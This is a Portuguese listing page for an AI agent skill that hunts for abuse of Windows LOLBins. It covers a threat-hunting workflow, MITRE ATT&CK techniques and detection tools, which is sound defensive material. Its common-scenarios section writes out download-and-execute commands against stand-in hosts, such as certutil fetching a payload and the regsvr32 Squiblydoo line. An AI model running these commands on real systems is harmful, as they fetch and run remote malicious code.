Pular para o conteúdo
Skillpedia
Análise e planilhas35 mil · #5799

hunting-for-living-off-the-land-binaries

Ajuda seu agente a encontrar o uso indevido de binários do sistema para fins maliciosos. É útil para detectar evasão de defesa que usa ferramentas confiáveis.

O que ela faz

Esta ferramenta ajuda a encontrar programas do Windows que parecem normais, mas que criminosos estão usando para fazer coisas ruins no seu computador, como baixar vírus ou executar códigos maliciosos sem ser detectado.

Quando usar

  • ✓Quando você suspeita que um vírus está escondido usando programas normais do Windows.
  • ✓Ao investigar como um ataque cibernético conseguiu entrar no sistema.
  • ✓Para verificar se programas de segurança estão pegando o uso indevido de programas legítimos.

Exemplo do que pedir para a IA

“Procure por programas do Windows sendo usados de forma suspeita para baixar arquivos ou executar comandos.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/hunting-for-living-off-the-land-binaries/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/hunting-for-living-off-the-land-binaries/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Ela analisa os registros de atividades dos programas no seu computador. Compara o que é normal com o que está acontecendo agora para achar atividades estranhas que podem ser maliciosas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-living-off-the-land-binaries

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/hunting-for-living-off-the-land-binaries/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Caçando Binários Legítimos Usados para Fins Maliciosos (LOLBins)

Quando Usar

  • Ao investigar campanhas de malware sem arquivo que burlam antivírus tradicionais
  • Durante caçadas proativas de ameaças focadas em técnicas de evasão de defesa
  • Quando alertas de EDR disparam em binários legítimos executando processos filhos incomuns
  • Após relatórios de inteligência de ameaças indicarem abuso de LOLBin em campanhas ativas
  • Durante exercícios de red team/purple team validando a cobertura de detecção para T1218

Pré-requisitos

  • Acesso a telemetria de EDR (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
  • SIEM com logs de criação de processos (Sysmon Event ID 1, Windows Security 4688)
  • Familiaridade com a lista de referência do Projeto LOLBAS (lolbas-project.github.io)
  • Logging de linha de comando do PowerShell habilitado (Module Logging, Script Block Logging)
  • Logs de proxy de rede ou firewall para correlacionar conexões de saída

Fluxo de Trabalho

  1. Definir Hipótese de Caçada: Formule uma hipótese baseada em inteligência de ameaças (ex: "Adversários estão usando certutil.exe para baixar payloads de segundo estágio de domínios externos").
  2. Identificar LOLBins Alvo: Selecione binários específicos do banco de dados do Projeto LOLBAS para caçar, priorizando aqueles que correspondem ao cenário de ameaças atual (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
  3. Coletar Telemetria de Processos: Consulte o EDR ou SIEM para eventos de criação de processos envolvendo os LOLBins alvo com argumentos de linha de comando incomuns, processos pais ou contextos de execução.
  4. Estabelecer Comportamento Normal (Baseline): Defina como é o uso legítimo para cada LOLBin em seu ambiente, analisando a frequência histórica, processos pais típicos e argumentos padrão.
  5. Identificar Anomalias: Compare a telemetria atual com os baselines, sinalizando execuções com conexões de rede, comandos codificados, caminhos de arquivo incomuns ou cadeias de processos pai-filho anormais.
  6. Correlacionar e Enriquecer: Cruze a atividade anômala de LOLBin com logs de rede, consultas DNS, eventos de criação de arquivos e feeds de inteligência de ameaças.
  7. Documentar e Relatar: Registre as descobertas, atualize as regras de detecção e crie listas de IOCs para o uso malicioso de LOLBin identificado.

Conceitos Chave

Conceito Descrição
LOLBin Binário legítimo do sistema operacional abusado por atacantes para fins maliciosos
Projeto LOLBAS Lista curada pela comunidade de LOLBins, LOLLibs e LOLScripts do Windows
T1218 MITRE ATT&CK - Execução de Proxy por Binário Assinado
T1218.001 Arquivo HTML Compilado (mshta.exe)
T1218.002 Painel de Controle (control.exe)
T1218.003 CMSTP
T1218.005 Mshta
T1218.010 Regsvr32
T1218.011 Rundll32
T1197 Tarefas BITS (bitsadmin.exe)
T1140 Desofuscar/Decodificar Arquivos (certutil.exe)
Execução de Proxy Uso de binários confiáveis para executar código não confiável
Ataque Sem Arquivo Ataque que opera principalmente na memória sem deixar arquivos

Ferramentas e Sistemas

Ferramenta Propósito
CrowdStrike Falcon Telemetria de EDR e análise de árvore de processos
Microsoft Defender for Endpoint Caça avançada com consultas KQL
Splunk Agregação de logs SIEM e consultas SPL
Elastic Security Regras de detecção e investigação de linha do tempo
Sysmon Criação detalhada de processos e logging de rede
Projeto LOLBAS Banco de dados de referência de capacidades de LOLBin
Sigma Rules Formato genérico de regra de detecção para LOLBins
Velociraptor Coleta forense de endpoint e caça

Cenários Comuns

  1. Cradle de Download com Certutil: O adversário usa certutil.exe -urlcache -split -f http://malicious.com/payload.exe para baixar malware, contornando proxies web que permitem tráfego do certutil.
  2. Execução de HTA com Mshta: O atacante entrega um arquivo HTA por e-mail que executa um payload VBScript através do mshta.exe, que é um binário assinado da Microsoft.
  3. Carregamento de DLL de Proxy com Rundll32: Uma DLL maliciosa é carregada via rundll32.exe shell32.dll,ShellExec_RunDLL para executar o proxy através de um binário confiável.
  4. Squiblydoo com Regsvr32: Um arquivo SCT remoto é executado via regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll contornando a lista de permissões de aplicativos.
  5. Persistência com BITSAdmin: O adversário cria uma tarefa de transferência BITS para baixar e executar payloads repetidamente usando bitsadmin /transfer.

Formato de Saída

Hunt ID: TH-LOLBIN-[DATA]-[SEQ]
Hipótese: [Hipótese declarada]
LOLBins Investigados: [Lista de binários]
Intervalo de Tempo: [Início] - [Fim]
Fontes de Dados: [EDR, Sysmon, SIEM]
Descobertas:
  - [Descoberta 1 com evidências]
  - [Descoberta 2 com evidências]

…
Perguntas frequentes

O que são 'LOLBins'?

São programas que já vêm com o Windows, como `certutil.exe` ou `rundll32.exe`, que são legítimos, mas que criminosos podem usar para executar códigos maliciosos sem que os antivírus tradicionais percebam.

Preciso instalar algo para usar essa ferramenta?

Não, você não instala nada. Ela usa informações que já existem nos seus sistemas de segurança (como EDR e SIEM) e em listas de programas conhecidos por serem usados em ataques (como o LOLBAS Project).

Como sei se a atividade encontrada é realmente perigosa?

A ferramenta ajuda a identificar atividades suspeitas. Você precisará analisar essas atividades com base no seu conhecimento e em outras informações de segurança para confirmar se são maliciosas ou apenas um uso incomum, mas legítimo.

Detalhes

Descrição original do autor

Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5799
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas